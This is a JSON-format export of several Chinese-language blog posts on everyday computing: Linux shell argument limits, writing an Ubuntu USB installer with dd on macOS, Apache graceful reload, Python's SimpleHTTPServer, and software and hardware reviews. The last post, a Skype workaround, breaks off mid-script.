Servlet？ asynchronous servlet 所帶給伺服器的效能提昇是顯而易見的，而且基本上只要你對於 asynchronous 的處理流程夠了解，Servlet API 3.0 所提供的 asynchronous API 應該是很容易使用的，所以如果你的伺服器端會常常處理耗時的工作，就可以改用這樣的架構。\n但如果你沒有搞清楚 asynchronous 的處理方式，則面對這些不太直覺的 callback 使用方式，可能會讓你更頭痛，縱使使用 asynchronous servlet 可以讓伺服器的效能提昇，但是程式開發者還是要很了解這個架構的運行方式，以免為了提昇效能反而造成程式出錯。\n除了 asynchronous 之外，Tomcat 7 與 Servlet API 3.0 也使用一些 annotations 可以讓設定 servlet 更容易，並且還可以動態載入 servlet（loading servlets programmatically），有興趣的人可以自己查詢相關的資料。\n參考資料 Ramesh PVK JSR-000315 Java Servlet 3.0 ","permalink":"https://blog.gtwang.org/web-development/asynchronous-servlets-with-tomcat7/","summary":"\u003cp\u003e在 Java Servlet 3.0 標準推出之前，如果想要實作 asynchronous 的 servlet 必須使用像 \u003ca href=\"https://en.wikipedia.org/wiki/Comet_%28programming%29\"\u003eComet\u003c/a\u003e 這樣的架構，而現在 Servlet 3.0 API 直接支援 asynchronous 與 synchronous 兩種模式，而因為這是公開的標準，所以寫好的 Servlet 可以很方便的移植到各種符合 Servlet 3.0 的 app server 中（例如 Tomcat 7 或是 GlassFish 3.x）。\u003c/p\u003e","title":"使用 Tomcat 7 與 Java Servlet 3.0 API 實作 Asynchronous Servlets：提升伺服器效率的方案"},{"content":"在 Linux 中的指令通常都有一些參數可以指定，而在 Shell 中一行指令的長度是有上限的，在大部分的狀況下，這個限制通常是不會造成什麼問題的，不過在某些參數特別多的狀況下，可能就會碰到這個限制，例如要用 rm 或 mv 指令刪除或搬移很多檔案的時候，如果指定的檔案數量太多，有可能就會發生參數過長的錯誤，就像這樣：\nArgument list too long 在不同的系統中，命令列的長度上限是不同的，這裡介紹如何找出自己系統的命令列長度上限，並且教大家在撰寫指令稿時，如何使用一些替代方案避開參數過長的問題。\n查詢命令列長度上限 在一般的 UNIX、Linux 或 BSD 系統中，如果想查詢命令列的長度上限，可以使用 getconf 這個指令：\n# 查詢命令列長度上限 getconf ARG_MAX 輸出會像這樣：\n2097152 而在 BSD 的系統中，也可以使用 sysctl 指令：\n# 查詢命令列長度上限 sysctl kern.argmax 這個輸出會像這樣：\nkern.argmax=262144 而上面這些值是整個命令列的長度上限，事實上還包含了一些環境變數，如果想知道實際上在執行指令時，可以輸入的長度，可以用這個方式扣掉環境變數用掉的部分：\n# 查詢實際命令列長度上限 echo $(( $(getconf ARG_MAX) - $(env | wc -c) )) 輸出為：\n2095122 這個值就是輸入指令時真正可以用的最大長度。\n指令太長的解決方式 如果你要執行的指令長度超過容許的上限，基本上有兩種方式可以解決：\n使用 find 與 xargs 指令。 使用 Shell 的 for 或 while 迴圈。 使用 find 指令，列出 /nas/data/accounting/ 的檔案：\nfind /nas/data/accounting/ -type f -exec ls -l {} \\; 刪除 /nas/data/accounting/ 的檔案：\nfind /nas/data/accounting/ -type f -exec /bin/rm -f {} \\; 使用 xargs 的方式：\necho /nas/data/accounting/* | xargs ls -l echo /nas/data/accounting/* | xargs /bin/rm -f 使用 while 迴圈：\nls -1 /nas/data/accounting/ | while read file; do mv /nas/data/accounting/$file /local/disk/ ; done 將上面的各種方式放在一起：\nfind /nas/data/accounting/ -type f | while read file do mv /nas/data/accounting/$file /local/disk/ done 參考資料 nixCraft ","permalink":"https://blog.gtwang.org/linux/argument-list-too-long-error-solution/","summary":"\u003cp\u003e在 Linux 中的指令通常都有一些參數可以指定，而在 Shell 中一行指令的長度是有上限的，在大部分的狀況下，這個限制通常是不會造成什麼問題的，不過在某些參數特別多的狀況下，可能就會碰到這個限制，例如要用 \u003ccode\u003erm\u003c/code\u003e 或 \u003ccode\u003emv\u003c/code\u003e 指令刪除或搬移很多檔案的時候，如果指定的檔案數量太多，有可能就會發生參數過長的錯誤，就像這樣：\u003c/p\u003e","title":"Linux Shell 指令長度限制問題與解決的替代方案"},{"content":"DjVu（發音為 deja-vu）是一種比較少見的文件格式，與 PDF 檔案格式類似，是由 AT\u0026amp;T 實驗室於 1996 年開發出來的開放性電子文件檔案格式，在某些掃描文件轉換成電子檔的過程中，效果會優於 PDF 格式。\nDjVu 是一種開放性的檔案格式，檔案格式規範與函示庫的原始碼都完全公開，而商業開發的所有權幾年來被轉給了不同的公司，包括 AT\u0026amp;T 和 LizardTech，但是原來的作者還是維護一個 GPL 的實作，稱為 DjVuLibre。\nDjVuLibre 是一個跨平台的 DjVu 工具，除了可以讓你看 DjVu 文件之外，還可以幫你把 DjVu 檔案轉換為大家常用的 PDF 檔，畢竟現在 PDF 還是最普及的檔案格式之一，在網路上使用 PDF 通常還是比 DjVu 方便。\n這裡示範如何在 Mac OS X 下安裝與使用 DjVuLibre。\nStep 1\n從 DjVuLibre 的網站下載 Mac OS X 的版本，它是一個 Zip 壓縮檔，下載下來之後直接解壓縮，解壓縮之後應該會是一個 DMG 檔。\n直接打開它。\nStep 2\n打開之後，裡面有個 DjView 程式，直接把它拖進「應用程式」資料夾中可以了，而如果只是臨時要看一個 DjVu 檔，不想安裝的話，其實直接執行它就可以看 DjVu 文件了。\nStep 3\n接著只要直接開啓電腦中的 DjVu 檔案，就可以直接閱覽其中的內容了。\n如果你沒有 DjVu 文件可以測試的話，在這個 DMG 檔中，有一個 DjVu in 1999.djvu 檔，他就是一份 DjVu 文件檔，直接打開就可以看到其中的內容。\n如果想把 DjVu 檔轉換為 PDF 檔的話，可以使用「File」選單中的「Export as」功能。\n然後選擇輸出的檔名，再按下「Ok」就會轉換為 PDF 檔了。\n在這裡你可以依照自己的需求從 Format 選單中選擇想要轉換的檔案格式，除了 PDF 檔案之外，DjVuLibre 也可以把 DjVu 檔轉換為其他各種的檔案格式，例如 TIFF、PS（PostScript）、JPEG 與 PNG 等。\n","permalink":"https://blog.gtwang.org/useful-tools/djvulibre-djvu-pdf/","summary":"\u003cp\u003eDjVu（發音為 deja-vu）是一種比較少見的文件格式，與 PDF 檔案格式類似，是由 AT\u0026amp;T 實驗室於 1996 年開發出來的開放性電子文件檔案格式，在某些掃描文件轉換成電子檔的過程中，效果會優於 PDF 格式。\u003c/p\u003e","title":"DjVuLibre：DjVu 電子書閱讀與轉檔軟體（可用來轉換為 PDF 檔）"},{"content":"LibreOffice 是一套開放原始碼的辦公室套裝軟體，可以算是免費版的微軟 Office，可以在各種平台上使用，例如 Windows、Linux 與 Mac OS X。\n這套軟體有六種應用程式，可用來製作文件、處理資料等，包括：Writer（類似 Office Word）、Calc（類似 Office 的 Excel）、Impress（類似 Office 的 Power Point）、Draw、Math、Base。\n雖然這套軟體的功能可以媲美微軟的 Office，但是它是完全免費的，其所採用的授權條款為 LGPL3（GNU Lesser General Public License v3.0），該授權方式賦予一般大眾自由使用、分享、散布軟體的權利。\n以下介紹如何在 Mac OS X 中安裝與使用 LibreOffice。\nStep 1\n從 LibreOffice 的官方網站上下載安裝檔，總共要下載兩個 DMG 檔，一個是主程式安裝檔，另外一個是中文界面的安裝檔。\n除了英文的網站之外，也可以從中文的 LibreOffice 官方網站下載。\nStep 2\n下載完成之後，就可以開始安裝，做法就跟一般軟體一樣，打開 Main Installer 的 DMG 檔（應該會類似 LibreOffice_4.0.2_MacOS_x86.dmg），把 LibreOffice 那個圖示用滑鼠拖進應用程式（Applications）資料夾中就可以了。\nStep 3\n接著安裝 LibreOffice Language Pack，打開另外一個 DMG 檔，檔名應該會類似 LibreOffice_4.0.2_MacOS_x86_langpack_zh-TW.dmg。\n然後點兩下「LibreOffice Language Pack」圖示，進行安裝。\nStep 4\n因為這是從網路上下載下來的執行檔，在打開之前，系統會詢問你是否真的要打開，請點選「打開」。\nStep 5\n接著點選「安裝」。\nStep 6\n安裝完成之後，點選「確定」。 Step 7\n這時候就可以從 Launchpad 中打開 LibreOffice 了，在第一次開啓時，會跳出一個詢問的訊息，問你是否要打開，請點選「打開」。\nStep 8\n開啓時會載入一些模組，要稍微等一下。\nStep 9\n看到這個畫面就表示 LibreOffice 已經正常安裝好了，這裡你可以選擇要建立的檔案類型，例如一般的 Word 檔就是 Text Document，如果是簡報檔就是 Presentation，Excel 檔則是 Spreadsheet。\n使用起來大致上跟微軟的 Office 差不多，當然免費的版本有些功能可能不如商業軟體來的方便，不過至少都可以用啦。\n","permalink":"https://blog.gtwang.org/mac-os/mac-os-x-libreoffice-4-office/","summary":"\u003cp\u003e\u003ca href=\"https://www.libreoffice.org/\"\u003eLibreOffice\u003c/a\u003e 是一套開放原始碼的辦公室套裝軟體，可以算是免費版的微軟 Office，可以在各種平台上使用，例如 Windows、Linux 與 Mac OS X。\u003c/p\u003e\n\u003cp\u003e這套軟體有六種應用程式，可用來製作文件、處理資料等，包括：Writer（類似 Office Word）、Calc（類似 Office 的 Excel）、Impress（類似 Office 的 Power Point）、Draw、Math、Base。\u003c/p\u003e","title":"在 Mac OS X 中安裝與使用 LibreOffice 4（免費的 Office 軟體）"},{"content":"這裡介紹如何在 Mac OS X 中製作用來安裝 Ubuntu Linux 的 USB 隨身碟，讓你可以不需要燒錄光碟就可以直接安裝 Ubuntu Linux，省錢又環保。\n在開始製作 USB 安裝隨身碟之前，當然是要準備一個隨身碟，請確定隨身碟裡面的資料都是不要的，因為製作成安裝隨身碟之後，原本在隨身碟中的資料都會被刪除，所以製作之前，請先做確認。\nStep 1\n首先下載 Ubuntu Linux 官方的 ISO 安裝影像檔，這裡以 Ubuntu Linux 13.04 為例，下載下來的 ISO 檔是 ubuntu-13.04-desktop-amd64.iso。\n然後開啓終端機，進入 ISO 檔的所在目錄，如果是用瀏覽器下載的，通常就會在 Downloads 目錄下：\ncd Downloads 接著使用 hdiutil 指令將 ISO 檔轉為 Mac OS X 的 DMG 檔：\nhdiutil convert -format UDRW -o ubuntu-13.04-desktop-amd64.dmg ubuntu-13.04-desktop-amd64.iso 輸出為\n正在讀取Driver Descriptor Map（DDM：0）⋯ 正在讀取Ubuntu 13.04 amd64 （Apple_ISO：1）⋯ 正在讀取Apple（Apple_partition_map：2）⋯ 正在讀取Ubuntu 13.04 amd64 （Apple_ISO：3）⋯ \u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230; 正在讀取EFI（Apple_HFS：4）⋯ \u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230; 正在讀取Ubuntu 13.04 amd64 （Apple_ISO：5）⋯ \u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230; 經過時間： 7.989s 速度：98.3Mbyte∕秒 節省：0.0% created: /Users/seal/Downloads/ubuntu-13.04-desktop-amd64.dmg Step 2\n在插入 USB 隨身碟之前，先用 diskutil 看一下目前系統中的磁碟狀態：\ndiskutil list 輸出為\n/dev/disk0 #: TYPE NAME SIZE IDENTIFIER 0: GUID_partition_scheme *1.0 TB disk0 1: EFI 209.7 MB disk0s1 2: Apple_HFS Macintosh HD 999.3 GB disk0s2 3: Apple_Boot Recovery HD 650.0 MB disk0s3 Step 3\n插入 USB 隨身碟之後，再看一次：\ndiskutil list 輸出為\n/dev/disk0 #: TYPE NAME SIZE IDENTIFIER 0: GUID_partition_scheme *1.0 TB disk0 1: EFI 209.7 MB disk0s1 2: Apple_HFS Macintosh HD 999.3 GB disk0s2 3: Apple_Boot Recovery HD 650.0 MB disk0s3 /dev/disk1 #: TYPE NAME SIZE IDENTIFIER 0: FDisk_partition_scheme *8.0 GB disk1 1: Windows_FAT_32 NO NAME 8.0 GB disk1s1 比較一下前後兩個輸出，就可以發現 USB 隨身碟是 /dev/disk1，這個部分每一台電腦可能會不同，請自己仔細看自己的輸出來判斷。\nStep 4\n使用 diskutil 卸載 USB 隨身碟。\ndiskutil unmountDisk /dev/disk1 輸出為\nUnmount of all volumes on disk1 was successful Step 5\n使用 dd 指令將 DMG 檔的內容寫入 USB 隨身碟：\nsudo dd if=ubuntu-13.04-desktop-amd64.dmg of=/dev/rdisk1 bs=1m 輸出為：\n785+0 records in 785+0 records out 823132160 bytes transferred in 91.446342 secs (9001258 bytes/sec) 這裡在寫入資料時是使用 /dev/rdisk，這樣會比使用 /dev/disk 的情況快一些。\n執行這行指令時，如果有出現\ndd: Invalid number \u0026#8216;1m\u0026#8217; 這樣的錯誤，表示你所使用的 dd 是 GNU 版本的，這時候可將 bs=1m 改為 bs=1M。\nStep 6\n退出 USB 隨身碟。\ndiskutil eject /dev/disk1 輸出為：\nDisk /dev/disk1 ejected 這樣就大功告成了。接下來就把製作好的 USB 安裝隨身碟插到要安裝 Ubuntu Linux 的電腦中，用 USB 隨身碟開機，就可以直接安裝了。\n參考資料 Ubuntu ","permalink":"https://blog.gtwang.org/mac-os/create-a-ubuntu-linux-usb-stick-on-mac-osx/","summary":"\u003cp\u003e這裡介紹如何在 Mac OS X 中製作用來安裝 Ubuntu Linux 的 USB 隨身碟，讓你可以不需要燒錄光碟就可以直接安裝 Ubuntu Linux，省錢又環保。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e在開始製作 USB 安裝隨身碟之前，當然是要準備一個隨身碟，請確定隨身碟裡面的資料都是不要的，因為製作成安裝隨身碟之後，原本在隨身碟中的資料都會被刪除，所以製作之前，請先做確認。\u003c/p\u003e","title":"在 Mac OS X 中製作用來安裝 Ubuntu Linux 的 USB 隨身碟"},{"content":"一般在更改 Apache 的設定檔之後，都會重新啓動 Apache 的服務（service），但是如果你的 Apache 網頁伺服器有很多人在用，這樣重新啓動會造成使用者的連線中斷等問題，這裡介紹如何在 Debian/Ubuntu 或是 CentOS 等 Linux 中不會影響 Apache 連線卻可以重新啓動並載入設定檔的方法。\n一般 Apache 伺服器不管版本是 v1.x 或是 v2.x 都會有以下的指令可以使用：\nstart restart graceful stop graceful-stop 系統管理者可以利用這些指令控制 Apache 伺服器的啟動或停止等動作。\n而我們如果要在不重新啓動 Apache 的情況下重新載入設定檔，就要用到 graceful 這個指令，它會傳送一個 SIGUSR1 的信號（signal）給 Apache 伺服器，讓 Apache 很優雅的（graceful）重新啓動。如果 Apache 本來就沒有在執行，那麼它會直接啟動（start）。\ngraceful 跟 restart 不太一樣，他不會像 restart 一樣直接中斷目前正在進行的連線，而是會等待所有的連線都結束之後，才會重新啟動、載入設定檔，並且重新開啟 log 紀錄檔。而 graceful 在重新啟動之前，也會使用 apache2ctl configtest 來測試設定檔是否正確。\n而 graceful 的用法很簡單，就像這樣：\n# 優雅重新啓動 apache2ctl graceful 在 RHEL/CentOS Linux 中，可使用 Sys V init script 的方式：\n# 優雅重新啓動 /etc/init.d/httpd graceful 或是\n# 優雅重新啓動 /sbin/service httpd graceful 如果是 Debian / Ubuntu Linux 中，則可使用 reload 參數：\n# 重新載入設定 /etc/init.d/apache2 reload 在這裡的 reload 其實就是 graceful，它只是換一個讓人比較容易看得懂的字眼而已。\n參考資料 nixCraft apache2ctl(8) ","permalink":"https://blog.gtwang.org/linux/apache-2-reload-httpd-config-file-unix-linux-command/","summary":"\u003cp\u003e一般在更改 Apache 的設定檔之後，都會重新啓動 Apache 的服務（service），但是如果你的 Apache 網頁伺服器有很多人在用，這樣重新啓動會造成使用者的連線中斷等問題，這裡介紹如何在 Debian/Ubuntu 或是 CentOS 等 Linux 中不會影響 Apache 連線卻可以重新啓動並載入設定檔的方法。\u003c/p\u003e","title":"不會影響 Apache 連線卻可以重新啓動並載入設定檔的方法"},{"content":"如果你需要一個簡單的 Web 伺服器做一些臨時性的工作，但又不想花很多時間去安裝像 Apache 這樣完整的網頁伺服器，那你可以試試看 Python 的 SimpleHTTPServer 模組，使用這個模組可以讓任何的目錄中的資料立即放上網路，而且不需要安裝其餘任何軟體，只需要 Python 就夠了。\n就實際的應用來說，這樣的方式可以讓你很方便的在區域網路（local network）中分享資料，而要使用這個迷你的網頁伺服器也非常簡單，只要一行指令就可以了。\n假設你的電腦 IP 位址為 192.168.0.1，而想要分享 /home/seal 中的資料，則先切換到該目錄中：\ncd /home/seal 再啟動 Python 的網頁伺服器：\npython -m SimpleHTTPServer 就這樣一行指令就完成了！非常方便。執行這行指令應該會看到這樣的輸出訊息：\nServing HTTP on 0.0.0.0 port 8000 ... 這個訊息是告訴你網頁伺服器所開啟的 port 是 8000，這時候你可以開啟瀏覽器測試一下，再瀏覽器上輸入以下的網址：\nhttp://192.168.0.1:8000/ 這樣就可以看到分享的網頁了。如果是在自己的電腦上要看自己的伺服器所分享的網頁，也可以輸入這樣的網址：\nhttp://127.0.0.1:8000 如果被分享的目錄中有 index.html 這個網頁檔，則開啟這個目錄時，預設就會顯示這個網頁檔，而如果這個檔案不存在，則會自動顯示該目錄中的檔案列表。\n如果你想要更改伺服器所使用的 port，則可以直接在指令的最後面指定 port number：\npython -m SimpleHTTPServer 8080 在預設的狀況下，伺服器會傾聽所有的網路位址，如果只想要傾聽本機的位址（localhost），就要自己撰寫指令稿（script）了：\n#/usr/bin/python import sys import BaseHTTPServer from SimpleHTTPServer import SimpleHTTPRequestHandler HandlerClass = SimpleHTTPRequestHandler ServerClass = BaseHTTPServer.HTTPServer Protocol = \u0026#34;HTTP/1.0\u0026#34; if sys.argv[1:]: port = int(sys.argv[1]) else: port = 8000 server_address = (\u0026#39;127.0.0.1\u0026#39;, port) HandlerClass.protocol_version = Protocol httpd = ServerClass(server_address, HandlerClass) sa = httpd.socket.getsockname() print(\u0026#34;Serving HTTP on\u0026#34;, sa[0], \u0026#34;port\u0026#34;, sa[1], \u0026#34;...\u0026#34;) httpd.serve_forever() 因為 Python 是一種跨平台的語言，所以這個 Python 網頁伺服器也可以在 Windows 或 macOS 等環境下使用。\n參考資料 Linux Journal ","permalink":"https://blog.gtwang.org/web-development/python-simplehttpserver-web-server/","summary":"\u003cp\u003e如果你需要一個簡單的 Web 伺服器做一些臨時性的工作，但又不想花很多時間去安裝像 Apache 這樣完整的網頁伺服器，那你可以試試看 Python 的 SimpleHTTPServer 模組，使用這個模組可以讓任何的目錄中的資料立即放上網路，而且不需要安裝其餘任何軟體，只需要 Python 就夠了。\u003c/p\u003e","title":"用 Python 的 SimpleHTTPServer 模組快速建立一個臨時網頁伺服器（Web Server）"},{"content":"現在一般的網路伺服器所使用的處理器（CPU）大概都是 x86 架構，但是在未來有可能會因為智慧型手機處理器的崛起而改觀。\nFacebook 公司內部最近進行了一項實驗，工程師們拿平常用來提供 Facebook 網頁服務的伺服器，作為實驗品，開始亂搞它的 CPU。\nCPU 中有一塊 cache 記憶體，它是用於暫時儲存 CPU 計算用的資料的地方，藉由 cache 記憶體的幫助，CPU 在計算時就可以不需要每次都去存取系統記憶體的資料，而 Facebook 的工程師則是要測試如果把部份的 cache 記憶體關閉，會發生什麼事情。\n因為 cache 記憶體的存取速度跟一般系統的記憶體比起來快上非常多，所以它的成本也非常貴，工程師想測試一下 Facebook 的伺服器可以多低的 cache 記憶體下正常運作。\n首先，他們把 cache 記憶體從 3MB 調降至 2MB，然後在降低至 1MB 與 0.5MB，最後在提昇至 1MB，在這個過程中，伺服器的效能表現都一樣好，每秒可以處理相同的 requests，而速度上除了 0.5MB 的情況之外，都沒有影響。\n雖然這只是一項小測試，不足以代表所有伺服器的狀況，但是這樣的結果代表像 Intel 與 AMD 所生產的 CPU 並不完全符合 Facebook 伺服器的需求，換句話說，如果可以重新專門為 Facebook 伺服器來設計 CPU 的硬體，把一些沒有用的部份拿掉，在硬體上可以節省非常多的成本。\nFacebook 目前已經將他們伺服器上的晶片，委託 Intel 與其他的硬體公司重新設計過，讓各種硬體可以完全符合他們的需求，避免造成任何的資源浪費，接下來他們將著眼於每個主機板上的元件，希望可以讓每個元件的效能發揮到最大。\n這個 Facebook 的 cache 測試是在一個新的「智慧型手機 CPU」（或稱為 wimpy cores）上執行的，基本上這是一種專門為手機所設計的硬體架構，所以它非常省電。而另外像一些硬體大廠 Dell 與 AMD 等也正在發展 ARM 架構的伺服器，至於 Intel 則是使用 Atom 的架構。\n有些人低估了 wimpy core 的能力，會質疑它是否可以承受伺服器的覆載量，但事實上它是將伺服器上沒有用的部份拿掉，用較少的成本做更多的事情，就像 Facebook 這次的 cache 記憶體實驗一樣。\n在目前 32 位元的 ARM 架構處理器還沒辦法取代現在主流的 CPU，但是在未來 64 位元的處理器推出之後，就有可能了，再加上 ARM 架構的處理器在授權上會比 Intel x86 的處理器更有彈性，你會有更多機會可以買到更適合自己的 CPU，例如 Facebook 不需要 3MB cache 記憶體的 CPU，他只要買 0.5MB cache 的 CPU 就夠了。\n","permalink":"https://blog.gtwang.org/funny/facebook-arm-chips/","summary":"\u003cp\u003e現在一般的網路伺服器所使用的處理器（CPU）大概都是 x86 架構，但是在未來有可能會因為智慧型手機處理器的崛起而改觀。\u003c/p\u003e\n\u003cp\u003eFacebook 公司內部最近進行了一項實驗，工程師們拿平常用來提供 Facebook 網頁服務的伺服器，作為實驗品，開始亂搞它的 CPU。\u003c/p\u003e","title":"智慧型手機處理器（CPU）可能將改變伺服器的硬體架構市場"},{"content":"在使用 Eclipse 開發 Java 程式時，通常會加入 @author 的標注，著名程式的作者，在 Mac OS X 的系統中，Eclipse 預設會用登入的帳號作為 @author 的預設值，就像這樣：\n這樣雖然堪用，但是通常正式的程式註解，都會放置自己的姓名與 Email，如果只是放像這樣的登入帳號是不夠的。\n雖然我們可以自己手動更改 @author 的值，但是這樣還是很麻煩，要自己輸入一長串每次都一樣的姓名與 Email，像我在寫程式的時候最討厭被這種無聊又惱人的事打斷思緒。\n其實我們可以更改 Eclipse 的預設值，讓他自動填入我們指定的 @author 資訊，以下是在 Mac OS X 中的操作步驟教學：\nStep 1\n首先開啟 Eclipse 的安裝目錄（就是當初下載 Eclipse 的時候，所放置的目錄），選擇 Eclipse 程式，按右鍵選擇「顯示套件內容」。\nStep 2\n尋找「Contents」\u0026gt;「MacOS」目錄中，找到 eclipse.ini 這個檔案，使用「文字編輯」開啓它，或是使用任何文字編輯軟體，像我是習慣用 Vim。 Step 3\n在檔案內容的最後面加入一行：\n-Duser.name=Your Name \u0026lt;account@your.email.com\u0026gt; 其中 Your Name 與 account@your.email.com 就換成自己的名字與 Email，填好之後就存檔離開。\n這樣就完成了，之後只要在 Java 的註解中輸入 @author 的時候，就會自動填入這個自定的作者資訊。\n如果你的 Eclipse 在設定之前就已經開啓了，那麼就要重新啓動 Eclipse 之後，新的設定才會生效。\n","permalink":"https://blog.gtwang.org/programming/mac-os-x-eclipse-java-author/","summary":"\u003cp\u003e在使用 Eclipse 開發 Java 程式時，通常會加入 \u003ccode\u003e@author\u003c/code\u003e 的標注，著名程式的作者，在 Mac OS X 的系統中，Eclipse 預設會用登入的帳號作為 \u003ccode\u003e@author\u003c/code\u003e 的預設值，就像這樣：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"java_author_tag\" loading=\"lazy\" src=\"/programming/mac-os-x-eclipse-java-author/java_author_tag.png\"\u003e\u003c/p\u003e\n\u003cp\u003e這樣雖然堪用，但是通常正式的程式註解，都會放置自己的姓名與 Email，如果只是放像這樣的登入帳號是不夠的。\u003c/p\u003e","title":"在 Mac OS X 的 Eclipse 中更改 Java 註解 @author 作者資訊的預設值"},{"content":"現在這個時代拜 Skype 這類的軟體所賜，網路電話很普遍，只要有網路，打電話都不用錢，如果又有網路攝影機，還可以視訊通話。\n因為家裡的電腦沒有網路攝影機，每次跟小阿玄講 Skype 都看不到他，再加上用耳麥的小麥克風，小朋友又拿不穩，聲音常常斷斷續續聽不清楚，最後決定買一個便宜的 Webcam 來給他用，省去拿麥克風的麻煩，又可以看到影像。\n這是從 PCHome 線上購物買的羅技 Webcam C170 網路攝影機，一支 399 元，解析度為 XVGA（1024x768），定焦式鏡頭，可以拍攝五百萬像素的照片，且內建抗噪式麥克風。\n這支 Webcam 是所有羅技網路攝影機中最便宜的，之所以選這支有幾個考量，第一個當然是價格，再來就是因為家裡的 ADSL 頻寬也不是很夠，買個 HD 的網路攝影機如果影像傳不出來也沒什麼用，而且我對於視訊的要求也不高，可以看得到就好了。\n另外還有一個特別的原因，就是：這是給兩歲的小朋友用的，你很難預料他會如何「使用」這隻網路攝影機，所以就當是給他買個高級玩具囉，這樣玩壞了也不會太心疼。\n以下是一些開箱的照片。\n我是在 Ubuntu Linux 13.04 中使用這支網路攝影機的，買來直接插上去就可以直接使用，很方便，不用擔心驅動程式的問題。\n這是在網路攝影機插上電腦之後，使用 Ubuntu Linux 13.04 中的「Cheese 網路攝影鋪」這個網路攝影機軟體所拍攝的。\n拍出來的照片只能說不滿意但可接受（以這個價位來說），這個影像應該是經過很嚴重的後處理，看起來都快要變成水彩畫了，不過只是用在視訊通話，影響不大啦。\n","permalink":"https://blog.gtwang.org/unboxing/logitech-c170-webcam/","summary":"\u003cp\u003e現在這個時代拜 Skype 這類的軟體所賜，網路電話很普遍，只要有網路，打電話都不用錢，如果又有網路攝影機，還可以視訊通話。\u003c/p\u003e\n\u003cp\u003e因為家裡的電腦沒有網路攝影機，每次跟小阿玄講 Skype 都看不到他，再加上用耳麥的小麥克風，小朋友又拿不穩，聲音常常斷斷續續聽不清楚，最後決定買一個便宜的 Webcam 來給他用，省去拿麥克風的麻煩，又可以看到影像。\u003c/p\u003e","title":"[開箱] 羅技 Webcam C170 網路攝影機：用 Skype 視訊聊天的好幫手"},{"content":"這是我在 PCHome 買的 TP-LINK TL-WN722N 150Mbps 高增益 USB 無線網路卡，採用高通的晶片，一支不到四百元，外觀看起來質感很不錯，而且在我的 Ubuntu Linux 13.04 系統上直接插上去就可以抓的到驅動程式，馬上就可以使用了。\n因為我家的 ADSL 的上網速度只有 3Mbps，所以選這隻 150Mbps 的就已經很夠用了。\n我之前用的無線網卡是好久以前的 3COM 3CRUSB10075 54Mbps 的 USB 無線網路卡，雖然在 Linux 中也抓的到，但因為家裡的無線 AP 離很遠，這一支舊的網卡收訊似乎不是很好，上網感覺都很吃力。現在換這一支有增益天線的無線網路卡，感覺差很多，訊號品質有明顯提昇，上網也順多了，而我用 Linux 的 iwconfig 指令來看 Link Quality，從原本的二十多一下跳到四十多，果真是差很多。\n以下是開箱的照片，無線網路卡也沒什麼好介紹的，不過我最滿意的地方除了有天線收訊不錯之外，他的塑膠品質也很不錯，以往大陸製的塑膠品質很差勁，而這支雖然也是大陸製的，不過品質就我的標準來說算不錯的。\n網路卡側邊有 WPS 的按鈕，可以建立 WPA 加密連線。\n個人對於 USB 的蓋子特別重視，之前買過很多大陸製的塑膠製品，品質差到快讓我暈倒，而這支網路卡的 USB 蓋子部份不管是密合度還是質感，以這個價位的產品而言，個人非常滿意，還差點以為是台灣製的。\n網路卡上面的指示燈是綠色的，傳輸資料的時候會閃爍。\n上面那個 D-Link 的底座是我之前買 D-Link 的 USB 無線網卡送的，這支 TP-LINK 網路卡送的只是一般的 USB 延長線，別誤會。\n這是舊的 3COM 3CRUSB10075 54Mbps USB 無線網路卡，好幾年前用到現在，現在即將卸任。\n","permalink":"https://blog.gtwang.org/unboxing/tp-link-tl-wn722n-150mbps-usb-wireless-card/","summary":"\u003cp\u003e這是我在 PCHome 買的 TP-LINK TL-WN722N 150Mbps 高增益 USB 無線網路卡，採用高通的晶片，一支不到四百元，外觀看起來質感很不錯，而且在我的 Ubuntu Linux 13.04 系統上直接插上去就可以抓的到驅動程式，馬上就可以使用了。\u003c/p\u003e","title":"[開箱] TP-LINK TL-WN722N 150Mbps 高增益 USB 無線網路卡（高通晶片）"},{"content":"如果你有在 Ubuntu 中使用 Skype，並且有使用 Ubuntu 內建專屬的 Nvidia 或 AMD 驅動程式，則在升級最新版的 Ubuntu Linux 13.04 之後，應該會發現原本的 Skype 變得不能啟動了，其實這是新版 Ubuntu 13.04 的一個 bug，這裡介紹如何暫時解決這個問題。\n基本上這個問題來自於 Skype 無法使用驅動程式提供的 OpenGL 函式庫，而且只有使用 Ubuntu 內建的專屬 Nvidia 或 AMD 驅動程式才會有問題。\n現在因為這個 bug 還沒解決，只好暫時強迫 Skype 不要使用驅動程式提供的 OpenGL 函式庫，改用 Mesa 的版本。\nStep 1\n首先將原本的 skype 指令更改為 skype-bin：\nsudo mv /usr/bin/skype /usr/bin/skype-bin Step 2\n自己建立一個 /usr/bin/skype 指令搞，替換掉原來的 skype 指令的位置：\ngksu gedit /usr/bin/skype 上面這個指令會開啓 gedit 文字編輯器，請將下面這三行程式碼填入其中，存檔後離開：\n#!/bin/sh export 